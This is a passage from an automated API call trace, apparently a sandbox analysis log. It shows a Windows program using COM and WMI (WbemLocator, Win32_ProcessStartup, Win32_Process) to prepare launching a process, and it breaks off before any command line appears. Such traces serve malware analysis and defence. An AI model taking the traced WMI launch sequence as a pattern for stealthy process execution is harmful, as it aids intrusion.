pAptType=0x1bb7e5b8*=1) returned 0x0 [0143.745] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0143.745] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.747] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc228e0) returned 0x0 [0143.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc228e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0143.747] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc228e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a97f6d0) returned 0x0 [0143.748] WbemDefPath:IUnknown:Release (This=0x1bc228e0) returned 0x0 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a97f6d0) returned 0x0 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0143.748] WbemDefPath:IUnknown:AddRef (This=0x1a97f6d0) returned 0x3 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc22900) returned 0x0 [0143.748] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.748] WbemDefPath:IUnknown:Release (This=0x1bc22900) returned 0x3 [0143.748] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0143.748] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0143.748] WbemDefPath:IUnknown:Release (This=0x1a97f6d0) returned 0x2 [0143.748] WbemDefPath:IUnknown:Release (This=0x1a97f6d0) returned 0x1 [0143.748] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0143.748] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0143.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f6d0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a97f6d0) returned 0x0 [0143.749] WbemDefPath:IUnknown:AddRef (This=0x1a97f6d0) returned 0x3 [0143.749] WbemDefPath:IUnknown:Release (This=0x1a97f6d0) returned 0x2 [0143.749] WbemDefPath:IWbemPath:SetText (This=0x1a97f6d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0143.749] IWbemClassObject:Get (in: This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2795120*=0, plFlavor=0x2795124*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2795120*=19, plFlavor=0x2795124*=0) returned 0x0 [0143.749] IWbemClassObject:Get (in: This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2795120*=19, plFlavor=0x2795124*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2795120*=19, plFlavor=0x2795124*=0) returned 0x0 [0143.749] IWbemClassObject:Put (This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0143.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda8a0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0143.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0143.749] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0143.749] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.749] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0143.749] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0143.749] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0143.749] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.751] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc22540) returned 0x0 [0143.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0143.751] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a980e10) returned 0x0 [0143.751] WbemDefPath:IUnknown:Release (This=0x1bc22540) returned 0x0 [0143.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a980e10) returned 0x0 [0143.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0143.751] WbemDefPath:IUnknown:AddRef (This=0x1a980e10) returned 0x3 [0143.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0143.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0143.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc22580) returned 0x0 [0143.752] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.752] WbemDefPath:IUnknown:Release (This=0x1bc22580) returned 0x3 [0143.752] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0143.752] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0143.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0143.752] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x2 [0143.752] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x1 [0143.752] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0143.752] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0143.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a980e10) returned 0x0 [0143.752] WbemDefPath:IUnknown:AddRef (This=0x1a980e10) returned 0x3 [0143.752] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x2 [0143.752] WbemDefPath:IWbemPath:SetText (This=0x1a980e10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0143.752] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0143.752] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0143.752] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.752] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0143.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0143.752] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0143.752] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.753] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc226c0) returned 0x0 [0143.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0143.753] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc226c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc226e0) returned 0x0 [0143.753] WbemLocator:IUnknown:Release (This=0x1bc226c0) returned 0x0 [0143.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc226e0) returned 0x0 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0143.754] WbemLocator:IUnknown:AddRef (This=0x1bc226e0) returned 0x3 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0143.754] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0143.754] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0143.754] WbemLocator:IUnknown:Release (This=0x1bc226e0) returned 0x2 [0143.754] WbemLocator:IUnknown:Release (This=0x1bc226e0) returned 0x1 [0143.754] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0143.754] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0143.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc226e0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc226e0) returned 0x0 [0143.754] WbemLocator:IUnknown:AddRef (This=0x1bc226e0) returned 0x3 [0143.754] WbemLocator:IUnknown:Release (This=0x1bc226e0) returned 0x2 [0143.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0143.754] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0143.754] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.754] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc22700) returned 0x0 [0143.755] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc22700, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a953200) returned 0x0 [0143.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1a953200, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc41de0) returned 0x0 [0143.808] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc41de0, pProxy=0x1a953200, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0143.808] WbemLocator:IUnknown:Release (This=0x1bc41de0) returned 0x1 [0143.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1a953200, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc41e20) returned 0x0 [0143.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1a953200, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc41de0) returned 0x0 [0143.808] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc41de0, pProxy=0x1a953200, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0143.808] WbemLocator:IUnknown:Release (This=0x1bc41de0) returned 0x2 [0143.808] WbemLocator:IUnknown:Release (This=0x1bc41e20) returned 0x1 [0143.808] CoTaskMemFree (pv=0x1bbc6b30) [0143.808] WbemLocator:IUnknown:AddRef (This=0x1a953200) returned 0x2 [0143.808] WbemLocator:IUnknown:Release (This=0x1bc22700) returned 0x0 [0143.809] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0143.809] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0143.809] WbemLocator:IUnknown:QueryInterface (in: This=0x1a953200, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc41df0) returned 0x0 [0143.809] WbemLocator:IRpcOptions:Query (in: This=0x1bc41df0, pPrx=0x1bc22660, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0143.809] WbemLocator:IUnknown:Release (This=0x1bc41df0) returned 0x2 [0143.809] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0143.809] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0143.809] WbemLocator:IUnknown:QueryInterface (in: This=0x1a953200, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a953200) returned 0x0 [0143.809] WbemLocator:IUnknown:Release (This=0x1a953200) returned 0x2 [0143.809] SysStringLen (param_1=0x0) returned 0x0 [0143.809] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0143.809] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0143.809] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda8a0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0143.810] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda8a0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0143.810] IWbemServices:GetObject (in: This=0x1a953200, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa2a780, ppCallResult=0x0) returned 0x0 [0143.813] IWbemClassObject:Get (in: 